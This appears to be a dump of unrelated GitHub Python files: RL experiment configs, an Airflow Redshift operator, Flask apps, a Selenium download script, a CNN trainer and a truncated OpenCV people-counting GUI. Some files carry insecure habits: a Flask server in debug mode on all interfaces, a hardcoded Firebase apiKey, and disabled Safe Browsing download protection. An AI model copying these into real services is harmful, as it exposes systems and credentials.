+{"seq_id":"3240317608","text":"from typing import List\n\nfrom bsuite_utils.model_configs import *\n\n\nclass ExperimentConfig(NamedTuple):\n    id: str  # Must not contain path-hostile characters. Preferably no spaces.\n    model_configs: List[ModelConfig]\n\n\nEXPERIMENTS = [\n    ExperimentConfig(\"1.1\", dqn_default + a2c_default + ppo_default),\n    ExperimentConfig(\"1.2\", dqn_default + dqn_alternate_implementations),\n    ExperimentConfig(\"1.3\", dqn_default + dqn_alternate_buffsizes),\n\n    ExperimentConfig(\"2.1\", ppo_framestack + ppo_rnn),\n    ExperimentConfig(\"2.2\", dqn_default + dqn_normalize),\n    ExperimentConfig(\"2.3\", dqn_default + dqn_frameskip_variants),\n\n    ExperimentConfig(\"3.1\", ppo_default + ppo_entropy_variants),\n    ExperimentConfig(\"3.2\", dqn_default + dqn_lr_variants),\n    ExperimentConfig(\"3.3\", dqn_default + dqn_epsilon_variants),\n\n    ExperimentConfig(\"4.1\", dqn_default + dqn_bad_gammas),\n    ExperimentConfig(\"4.2\", ppo_default + ppo_bad_lr),\n    ExperimentConfig(\"4.3\", dqn_default + dqn_bad_burnin),\n\n    ExperimentConfig(\"5.1\", ppo_default + ppo_rnn),\n    ExperimentConfig(\"5.2\", dqn_default + dqn_qrdn + dqn_qrdn_matched_parameters),\n    ExperimentConfig(\"5.3\", dqn_default + dqn_cnn_variants),\n]\n\nID_EXPERIMENT_MAP = {exp.id: exp for exp in EXPERIMENTS}\n","repo_name":"LorenJAnderson/bsuite-applications","sub_path":"bsuite_utils/experiment_definitions.py","file_name":"experiment_definitions.py","file_ext":"py","file_size_in_byte":1253,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"73366338887","text":"from airflow.hooks.postgres_hook import PostgresHook\nfrom airflow.models.baseoperator import BaseOperator\nfrom airflow.utils.decorators import apply_defaults\nfrom airflow.providers.postgres.operators.postgres import PostgresOperator\nfrom airflow.providers.postgres.hooks.postgres import PostgresHook\nfrom airflow.models.variable import Variable\n\n\nclass StageToRedshiftOperator(BaseOperator):\n    ui_color = '#358140'\n\n    @apply_defaults\n    def __init__(self,\n                 table_name: str,\n                 s3_prefix: str,\n                 s3_bucket: str = 'udacity-dend',\n                 dwh_role_arn: str = Variable.get('DWH_ROLE_ARN'),\n                 *args, **kwargs):\n        super(StageToRedshiftOperator, self).__init__(*args, **kwargs)\n        self.table_name = table_name\n        self.s3_bucket = s3_bucket\n        self.s3_prefix = s3_prefix\n        self.dwh_role_arn = dwh_role_arn\n\n\n    def execute(self, context):\n        copy_staging_table_query = f\"\"\"\n        COPY {self.table_name}\n        FROM 's3://{self.s3_bucket}/{self.s3_prefix}'\n        CREDENTIALS 'aws_iam_role={self.dwh_role_arn}'\n        REGION 'us-west-2'\n        JSON 'auto ignorecase';\n        \"\"\"\n\n        redshift_hook = PostgresHook('redshift')\n        conn = redshift_hook.get_conn()\n        cur = conn.cursor()\n        self.log.info(f'Copying data to the redshift table \"{self.table_name}\"')\n        cur.execute(copy_staging_table_query)\n        conn.commit()\n        self.log.info(f'Success; Committing transaction.')\n","repo_name":"davidkuda/airflow_data_pipelines","sub_path":"plugins/operators/stage_redshift.py","file_name":"stage_redshift.py","file_ext":"py","file_size_in_byte":1510,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"71193817608","text":"# main.py\r\nimport json, requests, sqlite3\r\nfrom flask import Flask, jsonify\r\nfrom datetime import date\r\n\r\napp = Flask(__name__)\r\napp.config['JSON_AS_ASCII'] = False\r\napp.config['JSON_SORT_KEYS'] = False\r\n\r\ndatabase = \"database.db\"\r\n\r\ndef dict_factory(cursor, row):\r\n\td = {}\r\n\tfor idx, col in enumerate(cursor.description):\r\n\t\td[col[0]] = row[idx]\r\n\treturn d\r\n\r\ndef get_db(db):\r\n\tconn = sqlite3.connect(db)\r\n\tconn.row_factory = dict_factory # treat rows as dictionaries\r\n\treturn conn\r\n\r\ndef save_company_info(data):\r\n\tconn = get_db(database)\r\n\tcur = conn.cursor()\r\n\r\n\tcompany = cur.execute(\"SELECT * FROM companies WHERE businessid = ?\", (data['business_id'],)).fetchone()\r\n\r\n\t# insert company into db if it doesn't exist\r\n\tif company is None:\r\n\t\tconn.execute(\"INSERT INTO companies (businessid, name, address, phone, website) VALUES (?, ?, ?, ?, ?)\", (data['business_id'], data['name'], data['address'][0], data['phone'][0], data['website'][0]))\r\n\t\tconn.commit()\r\n\t\tconn.close()\r\n\t# update only if data from prh is newer\r\n\telse:\r\n\t\tif data['address'][1] > company['saved']:\r\n\t\t\tconn.execute(\"UPDATE companies SET address = ?, saved = ? WHERE businessid = ?\", (data['address'][0], date.today(), data['business_id']))\r\n\t\tif data['phone'][1] > company['saved']:\r\n\t\t\tconn.execute(\"UPDATE companies SET phone = ?, saved = ? WHERE businessid = ?\", (data['phone'][0], date.today(), data['business_id']))\r\n\t\tif data['website'][1] > company['saved']:\r\n\t\t\tconn.execute(\"UPDATE companies SET website = ?, saved = ? WHERE businessid = ?\", (data['website'][0], date.today(), data['business_id']))\r\n\t\tconn.commit()\r\n\t\tconn.close()\r\n\r\ndef valid_businessid(id):\r\n\tif len(id) == 9 and id[7] == \"-\":\r\n\t\tmultipliers = [7, 9, 10, 5, 8, 4, 2]\r\n\t\tcalculation = 0\r\n\t\ttry:\r\n\t\t\tid_checksum = int(id[8])\r\n\t\t\tfor idx, multiplier in enumerate(multipliers):\r\n\t\t\t\tcalculation += int(id[idx]) * multiplier\r\n\t\texcept ValueError:\r\n\t\t\treturn False\r\n\r\n\t\tmodulo = calculation % 11\r\n\r\n\t\tif modulo == 1:\r\n\t\t\treturn False\r\n\t\telif modulo == 0 and id_checksum == 0:\r\n\t\t\treturn True\r\n\t\telif 11 - modulo == id_checksum:\r\n\t\t\treturn True\r\n\t\telse:\r\n\t\t\treturn False\r\n\telse:\r\n\t\treturn False\r\n\r\n@app.get(\"/api/company/<string:id>\")\r\ndef get_company_info(id):\r\n\tif valid_businessid(id):\r\n\t\ttry:\r\n\t\t\tresponse = requests.get(\"https://avoindata.prh.fi/bis/v1/\" + id)\r\n\t\t\tresponse.raise_for_status()\r\n\t\texcept requests.exceptions.HTTPError as error:\r\n\t\t\treturn str(error), response.status_code\r\n\r\n\t\tresult = response.json()['results'][0]\r\n\r\n\t\tdata = {\r\n\t\t\t\"business_id\": result['businessId'],\r\n\t\t\t\"name\": result['name'],\r\n\t\t\t\"address\": (\"\", \"\"),\r\n\t\t\t\"phone\": (\"\", \"\"),\r\n\t\t\t\"website\": (\"\", \"\")\r\n\t\t}\r\n\r\n\t\t# parse valid contact info with registration date(s)\r\n\t\tfor address in result['addresses']:\r\n\t\t\tif address['endDate'] is None and address['street'] != \"\":\r\n\t\t\t\tdata['address'] = (address['street'] + \", \" + address['postCode'] + \" \" + address['city'], address['registrationDate'])\r\n\r\n\t\tfor contactdetail in result['contactDetails']:\r\n\t\t\tif contactdetail['endDate'] is None and \"puhelin\" in contactdetail['type'].lower() and contactdetail['value'] != \"\":\r\n\t\t\t\tdata['phone'] = (contactdetail['value'], contactdetail['registrationDate'])\r\n\t\t\tif contactdetail['endDate'] is None and \"www\" in contactdetail['type'].lower() and contactdetail['value'] != \"\":\r\n\t\t\t\tdata['website'] = (contactdetail['value'], contactdetail['registrationDate'])\r\n\r\n\t\ttry:\r\n\t\t\tsave_company_info(data)\r\n\t\texcept sqlite3.Error as error:\r\n\t\t\tprint(error)\r\n\r\n\t\t# omit registration dates from resulting json\r\n\t\tdata['address'] = data['address'][0]\r\n\t\tdata['phone'] = data['phone'][0]\r\n\t\tdata['website'] = data['website'][0]\r\n\r\n\t\treturn jsonify(data)\r\n\r\n\telse:\r\n\t\treturn \"Invalid business ID\", 400\r\n\r\n@app.get(\"/api/company/list\")\r\ndef company_info_list():\r\n\tcompanies = {}\r\n\r\n\ttry:\r\n\t\tconn = get_db(database)\r\n\t\tcur = conn.cursor()\r\n\t\tcompanies = cur.execute(\"SELECT * FROM companies\").fetchall()\r\n\texcept sqlite3.Error as error:\r\n\t\treturn str(error), 404\r\n\r\n\tconn.close()\r\n\r\n\treturn jsonify(companies)\r\n\r\nif __name__ == '__main__':\r\n\tapp.run(host='0.0.0.0', debug=True, port=80)\r\n","repo_name":"jpmiet/softagram","sub_path":"app/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4096,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"35322610586","text":"from flask import Flask ,url_for ,redirect ,render_template ,request\r\napp = Flask(__name__)\r\nimport pyrebase\r\nfrom firebase import Firebase\r\n\r\nconfig = {\r\n            \"apiKey\": \"AIzaSyCsmHR5hm0RFUud2ne1SjKHYb03PCFXMDU\",\r\n            \"authDomain\": \"svg-to-png-6f884.firebaseapp.com\",\r\n            \"projectId\": \"svg-to-png-6f884\",\r\n            \"storageBucket\": \"svg-to-png-6f884.appspot.com\",\r\n            \"messagingSenderId\": \"21624816502\",\r\n            \"appId\": \"1:21624816502:web:c5906ae0272db555ab3057\",\r\n            \"measurementId\": \"G-C3D4TL0CCR\"\r\n        }\r\n\r\n@app.route(\"/upload\", methods=[\"POST\",\"GET\"])\r\ndef upload_image():\r\n    if request.method == \"POST\":\r\n        if request.files:\r\n            image = request.files[\"image\"]\r\n            print(image)\r\n            return redirect(request.url)\r\n    return render_template(\"upload_image.html\")\r\n    fb = pyrebase.initialize_app(config) \r\n    storage = fb.storage()\r\n    storage.child(image).put(image)\r\n\r\n## get the url in post body and download the image \r\n## convert image to png \r\n## upload the image to storage \r\n## return ajson with new image url \r\n    \r\nif __name__ == \"__main__\":\r\n    app.run(debug=True)\r\n\r\n\r\n","repo_name":"Sartreks/latest","sub_path":"svg-to-png/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1177,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"28279157815","text":"#!/usr/bin/python\n# _*_ coding:utf-8 _*_\n# Author:xiaoshubiao\n# Time : 2018/8/14 14:57\nimport time\nfrom selenium.webdriver import Chrome\nfrom selenium import webdriver\ndownload_location = '/Users/mfhj-dz-001-068/pythonData/pdfData'\nchrome_options = webdriver.ChromeOptions()\nprefs = {'download.default_directory': download_location,\n         'download.prompt_for_download': False,\n         'download.directory_upgrade': True,\n         'safebrowsing.enabled': False,\n         'safebrowsing.disable_download_protection': True}\n\nchrome_options.add_experimental_option('prefs', prefs)\nchrome_options.add_argument(\"--headless\")\ndriver = Chrome(chrome_options=chrome_options)\ndriver.command_executor._commands[\"send_command\"] = (\"POST\", '/session/$sessionId/chromium/send_command')\n\nparams = {'cmd': 'Page.setDownloadBehavior', 'params': {'behavior': 'allow', 'downloadPath': download_location}}\ncommand_result = driver.execute(\"send_command\", params)\nprint(\"response from browser:\")\nfor key in command_result:\n    print(\"result:\" + key + \":\" + str(command_result[key]))\n\n# 这里是随便选了一个可以下载的连接，无心骚扰。\ndriver.get(\"http://www.yundama.com/apidoc/YDM_SDK.html\")\nclone_box = driver.find_element_by_xpath('/html/body/div[4]/div[2]/div/p[11]/a')\nclone_box.click()\ntime.sleep(10)\ndriver.quit()","repo_name":"413230871wang/retileData","sub_path":"com/write_to_csv/demoOfDownloadHeadless.py","file_name":"demoOfDownloadHeadless.py","file_ext":"py","file_size_in_byte":1319,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"5879129597","text":"#Boredom\nn=int(input())\nl1=[int(x) for x in input().split()]\nl2=[0]*(max(l1)+1)\nfor i in l1:\n    l2[i]+=1\nf=[0]*(max(l1)+1)\nfor i in range(max(l1)+1):\n    f[i]=max(f[i-1],f[i-2]+i*l2[i])\nprint(f[max(l1)])","repo_name":"anlanamy/Introduction-to-computing","sub_path":"codeforces/boredom.py","file_name":"boredom.py","file_ext":"py","file_size_in_byte":204,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"39196350648","text":"import tensorflow as tf\r\nimport numpy as np\r\nfrom data import *\r\nfrom CNN import TextCNN\r\nimport os\r\nimport time\r\n\r\n#data parameter\r\ntf.flags.DEFINE_float(\"dev_per\", 0.1, \"percent of dev dataset\")\r\ntf.flags.DEFINE_string(\"positive_file_name\", \"./data/rt-polarity.pos\", \"positive dataset file name\")\r\ntf.flags.DEFINE_string(\"negetive_file_name\", \"./data/rt-polarity.neg\", \"negetive dataset file name\")\r\n\r\n#model parameter\r\ntf.flags.DEFINE_integer(\"embedding_size\", 300, \"char or word embedding size\")\r\ntf.flags.DEFINE_string(\"diff_filter_size\", \"3,4,5\", \"how many words are covered by each filter\")\r\ntf.flags.DEFINE_integer(\"number_of_filters\", 100, \"numbers of filters for each size\")\r\ntf.flags.DEFINE_float(\"droupout_pro\", 0.5, \"droupout probability in CNN\")\r\ntf.flags.DEFINE_float(\"learning_rate\", 0.001, \"learning rate\")\r\ntf.flags.DEFINE_float(\"l2_reg\", 3, \"l2 regularization parameter\")\r\ntf.flags.DEFINE_integer(\"batch_size\", 128, \"batch size\")\r\ntf.flags.DEFINE_integer(\"epoches\", 100, \"epoches in training\")\r\ntf.flags.DEFINE_integer(\"save_step\", 50, \"every save_step to save model\")\r\ntf.flags.DEFINE_integer(\"evaluate_step\", 10, \"every evaluate_step to test the model in dev dataset\")\r\ntf.flags.DEFINE_integer(\"num_checkpoint\", 5, \"how many checkpoints are saved each time\")\r\n\r\nFLAGS = tf.flags.FLAGS\r\n\r\ndef visualize(grads_and_vars, save_dir, cnn, sess):\r\n    grad_summary = []\r\n    for g, v in grads_and_vars:\r\n        if g is not None:\r\n            grad_hist_summary = tf.summary.histogram('{}/grad/hist'.format(v.name), g)\r\n            sparsity_summary = tf.summary.scalar('{}/grad/sparsity'.format(v.name), tf.nn.zero_fraction(g))\r\n            grad_summary.append(grad_hist_summary)\r\n            grad_summary.append(sparsity_summary)\r\n    grad_summary_merge = tf.summary.merge(grad_summary)\r\n\r\n    loss_summary = tf.summary.scalar('loss', cnn.loss)\r\n    acc_summary = tf.summary.scalar('accuracy', cnn.acc)\r\n\r\n    train_summary = tf.summary.merge([loss_summary, acc_summary])\r\n    train_summary_dir = os.path.join(save_dir, 'summary', 'train')\r\n    train_summary_writer = tf.summary.FileWriter(train_summary_dir, sess.graph)\r\n\r\n    dev_summary = tf.summary.merge([loss_summary, acc_summary])\r\n    dev_summary_dir = os.path.join(save_dir, 'summary', 'dev')\r\n    dev_summary_writer = tf.summary.FileWriter(dev_summary_dir, sess.graph)\r\n\r\n    return train_summary, dev_summary, train_summary_writer, dev_summary_writer\r\n\r\n\r\n\r\ndef train(x_train, y_train, x_dev, y_dev, vocab):\r\n    sess = tf.Session()\r\n    with sess.as_default():\r\n        cnn = TextCNN(seq_length = x_train.shape[1], num_classes = y_train.shape[1], \r\n                      vocab_size = len(vocab.vocabulary_), embedding_size = FLAGS.embedding_size, \r\n                      filter_size = list(map(int, FLAGS.diff_filter_size.split(','))), \r\n                      num_filters = FLAGS.number_of_filters, l2_parm = FLAGS.l2_reg)\r\n\r\n        #set optimizer\r\n        global_step = tf.Variable(0, name = 'global_step', trainable = False)\r\n        optimizer = tf.train.AdamOptimizer(FLAGS.learning_rate)\r\n        grads_and_vars = optimizer.compute_gradients(cnn.loss)\r\n        train_op = optimizer.apply_gradients(grads_and_vars, global_step = global_step)\r\n\r\n        #save file name\r\n        timestamp = str(time.time())\r\n        save_dir = os.path.abspath(os.path.join(os.path.curdir, 'run', timestamp))\r\n        checkpoint_dir = os.path.abspath(os.path.join(save_dir, 'checkpoint'))\r\n        checkpoint_prefix = os.path.join(checkpoint_dir, 'model')\r\n        if not os.path.exists(checkpoint_dir):\r\n            os.makedirs(checkpoint_dir)\r\n        saver = tf.train.Saver(tf.global_variables(), max_to_keep = FLAGS.num_checkpoint)\r\n        vocab.save(os.path.join(save_dir, 'vocab'))\r\n\r\n        #visualize\r\n        train_sum, dev_sum, train_writer, dev_writer = visualize(grads_and_vars, save_dir, cnn, sess)\r\n\r\n        sess.run(tf.global_variables_initializer())\r\n        batches = batch_iter(list(zip(x_train, y_train)), FLAGS.batch_size, FLAGS.epoches)\r\n        for batch in batches:\r\n            batch_x, batch_y = zip(*batch)\r\n            feed_dict = {\r\n                cnn.input_x: batch_x,\r\n                cnn.input_y: batch_y,\r\n                cnn.droupout: FLAGS.droupout_pro\r\n            }\r\n            _, step, summary, loss, acc = sess.run([train_op, global_step, train_sum, cnn.loss, cnn.acc], feed_dict = feed_dict)\r\n            print(\"step %s: loss: %s, acc: %s\" % (step, loss, acc))\r\n            train_writer.add_summary(summary, step)\r\n            if step % FLAGS.evaluate_step == 0:\r\n                feed_dict = {\r\n                    cnn.input_x: x_dev,\r\n                    cnn.input_y: y_dev,\r\n                    cnn.droupout: 1.0\r\n                }\r\n                summary, loss, acc = sess.run([dev_sum, cnn.loss, cnn.acc], feed_dict = feed_dict)\r\n                print(\"Dev result: loss: %s, acc: %s\" % (loss, acc))\r\n                dev_writer.add_summary(summary, step)\r\n            if step % FLAGS.save_step == 0:\r\n                path = saver.save(sess, checkpoint_prefix, global_step = step)\r\n\r\ndef main(argv=None):\r\n    x_train, y_train, x_dev, y_dev, vocab, _, _ = data_process(FLAGS.positive_file_name, FLAGS.negetive_file_name, FLAGS.dev_per)\r\n    train(x_train, y_train, x_dev, y_dev, vocab)\r\n\r\nif __name__ == '__main__':\r\n    tf.app.run()","repo_name":"fengyh3/Text-Classification","sub_path":"Text_Classification/CNN/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":5342,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"16"}
+{"seq_id":"29540918268","text":"from tkinter import *\nimport tkinter as tk\nimport tkinter.messagebox as mbox\nfrom tkinter import filedialog\nfrom PIL import ImageTk, Image\nimport cv2\nimport numpy as np\nimport os\nimport imutils\nimport argparse\n\nNMS_THRESHOLD=0.3\nMIN_CONFIDENCE=0.2\n\n# Main Window & Configuration\nwindow = tk.Tk()\nwindow.title(\"Real Time Human Detection & Counting\")\nwindow.iconbitmap('Images/icon.ico')\nwindow.geometry('1000x700')\n\n# top label\nstart1 = tk.Label(text = \"REAL-TIME-HUMAN\\nDETECTION  &  COUNTING\", font=(\"Times New Roman\", 50,\"underline\"), fg=\"black\") # same way bg\nstart1.place(x = 50, y = 10)\n\n# function defined to start the main application\ndef start_fun():\n    window.destroy()\n\n# created a start button\nButton(window, text=\"▶ START\",command=start_fun,font=(\"Arial\", 25), bg = \"black\", fg = \"white\", cursor=\"hand2\", borderwidth=3, relief=\"raised\").place(x =110 , y =570 )\n\n# image on the main window\npath1 = \"Images/front1.png\"\nimg2 = ImageTk.PhotoImage(Image.open(path1))\npanel1 = tk.Label(window, image = img2)\npanel1.place(x = 100, y = 350)\n\n# image on the main window\npath = \"Images/front2.png\"\nimg1 = ImageTk.PhotoImage(Image.open(path))\npanel = tk.Label(window, image = img1)\npanel.place(x = 800, y = 350)\nexit1 = False\n# function created for exiting from window\ndef exit_win():\n    global exit1\n    if mbox.askokcancel(\"Exit\", \"Do you want to exit?\"):\n        exit1 = True\n        window.destroy()\n\n# exit button created\nButton(window, text=\"❌ EXIT\",command=exit_win,font=(\"Arial\", 25), bg = \"black\", fg = \"white\", cursor=\"hand2\", borderwidth=3, relief=\"raised\").place(x =790 , y = 570 )\nwindow.protocol(\"WM_DELETE_WINDOW\", exit_win)\nwindow.mainloop()\n\nif exit1==False:\n    # Main Window & Configuration of window1\n    window1 = tk.Tk()\n    window1.title(\"Real Time Human Detection & Counting\")\n    window1.iconbitmap('Images/icon.ico')\n    window1.geometry('1000x700')\n\n    filename=\"\"\n    filename1=\"\"\n    filename2=\"\"\n\n    def argsParser():\n        arg_parse = argparse.ArgumentParser()\n        arg_parse.add_argument(\"-v\", \"--video\", default=None, help=\"path to Video File \")\n        arg_parse.add_argument(\"-i\", \"--image\", default=None, help=\"path to Image File \")\n        arg_parse.add_argument(\"-c\", \"--camera\", default=False, help=\"Set true if you want to use the camera.\")\n        arg_parse.add_argument(\"-o\", \"--output\", type=str, help=\"path to optional output video file\")\n        args = vars(arg_parse.parse_args())\n        return args\n\n\n    # ---------------------------- image section ------------------------------------------------------------\n    def image_option():\n        # new windowi created for image section\n        windowi = tk.Tk()\n        windowi.title(\"Human Detection from Image\")\n        windowi.iconbitmap('Images/icon.ico')\n        windowi.geometry('1000x700')\n\n        # function defined to open the image\n        def open_img():\n            global filename1\n            filename1 = filedialog.askopenfilename(title=\"Select Image file\", parent = windowi)\n            path_text1.delete(\"1.0\", \"end\")\n            path_text1.insert(END, filename1)\n\n        def pre_img():\n            global filename1\n            img = cv2.imread(filename1, 1)\n            cv2.imshow(\"Selected Image Preview\", img)\n\n        # function defined to detect the image\n        def det_img():\n            global filename1\n            image_path = filename1\n            if(image_path==\"\"):\n                mbox.showerror(\"Error\", \"No Image File Selected!\", parent = windowi)\n                return\n            info2.config(text=\"Status : Detecting...\")\n            mbox.showinfo(\"Status\", \"Detecting, Please Wait...\", parent = windowi)\n            detectByPathImage(image_path)\n        \n        def detectByPathImage(path):\n            global filename1,acc\n            image = cv2.imread(path)\n            image = imutils.resize(image, width = min(800, image.shape[1]))\n            result_image=detect(image)\n\n        hog = cv2.HOGDescriptor()\n        hog.setSVMDetector(cv2.HOGDescriptor_getDefaultPeopleDetector())\n        def detect(frame):\n            bounding_box_cordinates, weights =  hog.detectMultiScale(frame, winStride = (5, 8), padding = (8, 8), scale = 1.03)\n            person = 0\n            \n            for x,y,w,h in bounding_box_cordinates:\n                cv2.rectangle(frame, (x,y), (x+w,y+h), (0,255,0), 2)\n                person += 1\n                a=0\n                cv2.putText(frame, f'person {person}', (x,y), cv2.FONT_HERSHEY_SIMPLEX, 0.5, (0,0,255), 1)\n            cv2.putText(frame, 'Status : Detecting ', (40,40), cv2.FONT_HERSHEY_DUPLEX, 0.8, (255,0,0), 2)\n            cv2.putText(frame, f'Total Persons : {person}', (40,70), cv2.FONT_HERSHEY_DUPLEX, 0.8, (255,0,0), 2)\n            cv2.imshow('Human Detection from Image', frame)\n            a+=person\n            mbox.showinfo(\"TOTAL PERSONS:\",a,parent=windowi)\n            if a>25:\n                mbox.showinfo(\"Status\",'Max. Human Detected is greater than MAX LIMIT.\\n Region is Crowded.',parent=windowi)\n            else:\n                mbox.showinfo(\"Status\",'Max. Human Detected is in the range of MAX LIMIT.\\n Region is not Crowded.',parent=windowi)\n            info2.config(text=\"                                                  \")\n            info2.config(text=\"Status : Detection & Counting Completed\")\n        cv2.waitKey(0)\n        cv2.destroyAllWindows()\n            \n                # for images ----------------------\n        lbl1 = tk.Label(windowi,text=\"DETECT  FROM IMAGE\", font=(\"Footlight MT Light\", 50, \"underline\"),fg=\"black\")\n        lbl1.place(x=180, y=20)\n        lbl2 = tk.Label(windowi,text=\"Selected Image\", font=(\"Verdana\", 30),fg=\"black\")\n        lbl2.place(x=80, y=200)\n        path_text1 = tk.Text(windowi, height=1, width=37, font=(\"Arial\", 30), bg=\"light grey\", fg=\"black\",borderwidth=2, relief=\"solid\")\n        path_text1.place(x=80, y = 260)\n\n        Button(windowi, text=\"SELECT\", command=open_img, cursor=\"hand2\", font=(\"Arial\", 20), bg=\"light blue\", fg=\"black\").place(x = 200, y = 350)\n        Button(windowi, text=\"PREVIEW\",command=pre_img, cursor=\"hand2\", font=(\"Arial\", 20), bg = \"light blue\", fg = \"black\").place(x = 400, y = 350)\n        Button(windowi, text=\"DETECT\",command=det_img, cursor=\"hand2\", font=(\"Arial\", 20), bg = \"light blue\", fg = \"black\").place(x = 620, y = 350)\n        info2 = tk.Label(windowi,font=(\"Arial\", 30), fg=\"gray\")\n        info2.place(x=100, y=500)\n\n        def exit_wini():\n            if mbox.askokcancel(\"Exit\", \"Do you want to exit?\", parent = windowi):\n                windowi.destroy()\n        windowi.protocol(\"WM_DELETE_WINDOW\", exit_wini)\n        \n\n# ---------------------------- video section ------------------------------------------------------------\n    def video_option():\n        # new windowv created for video section\n        windowv = tk.Tk()\n        windowv.title(\"Human Detection from Video\")\n        windowv.iconbitmap('Images/icon.ico')\n        windowv.geometry('1000x700')\n\n        # function defined to open the video\n        def open_vid():\n            global filename2\n            filename2 = filedialog.askopenfilename(title=\"Select Video file\", parent=windowv)\n            path_text2.delete(\"1.0\", \"end\")\n            path_text2.insert(END, filename2)\n\n          # funcion defined to preview the selected video\n        def prev_vid():\n            global filename2\n            video = cv2.VideoCapture(filename2)\n            while (video.isOpened()):\n                ret, frame = video.read()\n                if ret == True:\n                    img = cv2.resize(frame, (800, 500))\n                    cv2.imshow('Selected Video Preview', img)\n                    if cv2.waitKey(25) & 0xFF == ord('q'):\n                        break\n                else:\n                    break\n            video.release()\n            cv2.destroyAllWindows()\n\n            # function defined to detect inside the video\n        def det_vid():\n            global filename2\n            video_path = filename2\n            if (video_path == \"\"):\n                mbox.showerror(\"Error\", \"No Video File Selected!\", parent = windowv)\n                return\n            info1.config(text=\"Status : Detecting...\")\n            mbox.showinfo(\"Status\", \"Detecting, Please Wait...\", parent=windowv)\n    \n            args = argsParser()\n            writer = None\n            if args['output'] is not None:\n                writer = cv2.VideoWriter(args['output'], cv2.VideoWriter_fourcc(*'MJPG'), 10, (600, 600))\n            detectByPathVideo(video_path, writer)\n\n            # the main process of detection in video takes place here\n        def detectByPathVideo(path,writer):\n            video = cv2.VideoCapture(path)\n            check, frame = video.read()\n            if check == False:\n                mbox.showinfo(\"Status\", \"Video Not Found. Please Enter a Valid Path (Full path of Video Should be Provided).\", parent=windowv)\n                return\n            mbox.showinfo('status','Detecting people...',parent=windowv)\n            \n            def pedestrian_detection(image, model, layer_name,personidz=0):\n                (H, W) = image.shape[:2]\n                results = []\n                blob = cv2.dnn.blobFromImage(image, 1 / 255.0, (416, 416),\n                                             swapRB=True, crop=False)\n                model.setInput(blob)\n                layerOutputs = model.forward(layer_name)\n\n                boxes = []\n                centroids = []\n                confidences = []\n\n                for output in layerOutputs:\n                    for detection in output:\n\n                        scores = detection[5:]\n                        classID = np.argmax(scores)\n                        confidence = scores[classID]\n\n                        if classID == personidz and confidence > MIN_CONFIDENCE:\n\n                            box = detection[0:4] * np.array([W, H, W, H])\n                            (centerX, centerY, width, height) = box.astype(\"int\")\n\n                            x = int(centerX - (width / 2))\n                            y = int(centerY - (height / 2))\n\n                            boxes.append([x, y, int(width), int(height)])\n                            centroids.append((centerX, centerY))\n                            confidences.append(float(confidence))\n                # apply non-maxima suppression to suppress weak, overlapping\n                # bounding boxes\n                idzs = cv2.dnn.NMSBoxes(boxes, confidences, MIN_CONFIDENCE, NMS_THRESHOLD)\n                # ensure at least one detection exists\n                if len(idzs) > 0:\n                    # loop over the indexes we are keeping\n                    for i in idzs.flatten():\n                        # extract the bounding box coordinates\n                        (x, y) = (boxes[i][0], boxes[i][1])\n                        (w, h) = (boxes[i][2], boxes[i][3])\n                        # update our results list to consist of the person\n                        # prediction probability, bounding box coordinates,\n                        # and the centroid\n                        res = (confidences[i], (x, y, x + w, y + h), centroids[i])\n                        results.append(res)\n\n                #return the list of results\n                return results\n\n            labelsPath = \"coco.names\"\n            LABELS = open(labelsPath).read().strip().split(\"\\n\")\n\n            weights_path = \"yolov4-tiny.weights\"\n            config_path = \"yolov4-tiny.cfg\"\n\n            model = cv2.dnn.readNetFromDarknet(config_path, weights_path)\n            '''\n            model.setPreferableBackend(cv2.dnn.DNN_BACKEND_CUDA)\n            model.setPreferableTarget(cv2.dnn.DNN_TARGET_CUDA)\n            '''\n\n            layer_name = model.getLayerNames()\n            layer_name = [layer_name[i - 1] for i in model.getUnconnectedOutLayers()]\n\n            video = cv2.VideoCapture(path)\n            writer = None\n\n            while True:\n                (grabbed, image) = video.read()\n\n                if not grabbed:\n                    break\n\n                image = imutils.resize(image, width=700)\n                results = pedestrian_detection(image, model, layer_name,\n                                               personidz=LABELS.index(\"person\"))\n                person=1\n\n                for res in results:\n                    cv2.rectangle(image, (res[1][0],res[1][1]), (res[1][2],res[1][3]), (0, 255, 0), 2)\n                    cv2.putText(image, f'person {person}', (res[1][0],res[1][1]), cv2.FONT_HERSHEY_SIMPLEX, 0.5, (0,0,255), 1)\n                    person+= 1\n                    a=0\n\n                cv2.putText(image, 'Status : Detecting ', (40,40), cv2.FONT_HERSHEY_DUPLEX, 0.8, (255,0,0), 2)\n                cv2.putText(image, f'Total Persons : {person-1}', (40,70), cv2.FONT_HERSHEY_DUPLEX, 0.8, (255,0,0), 2)\n\n                cv2.imshow(\"Human Detection from Video\",image)\n                a+=person-1\n                #print(a)\n                key = cv2.waitKey(1)\n\n                if key & 0xFF == ord('q'):\n                    break\n            mbox.showinfo(\"TOTAL PERSONS:\",a,parent=windowv)\n            video.release()\n            info1.config(text=\"                                                  \")\n            # info2.config(text=\"                                                  \")\n            if a>20:\n                mbox.showinfo(\"Status\",'Max. Human Detected is greater than MAX LIMIT.\\n Region is Crowded.',parent=windowv)\n            else:\n                mbox.showinfo(\"Status\",\"Max. Human Detected is in range of MAX LIMIT.\\nRegion is not Crowded.\",parent=windowv)\n            info1.config(text=\"Status : Detection & Counting Completed\")\n            # info2.config(text=\"Max. Human Count : \" + str(max_count2))\n            cv2.destroyAllWindows()\n\n    #for video-------------------------\n        lbl1 = tk.Label(windowv, text=\"DETECT  FROM VIDEO\", font=(\"Footlight MT Light\", 50, \"underline\"), fg=\"black\")\n        lbl1.place(x=180, y=20)\n        lbl2 = tk.Label(windowv, text=\"Selected Video\", font=(\"Verdana\", 30), fg=\"black\")\n        lbl2.place(x=80, y=200)\n        path_text2 = 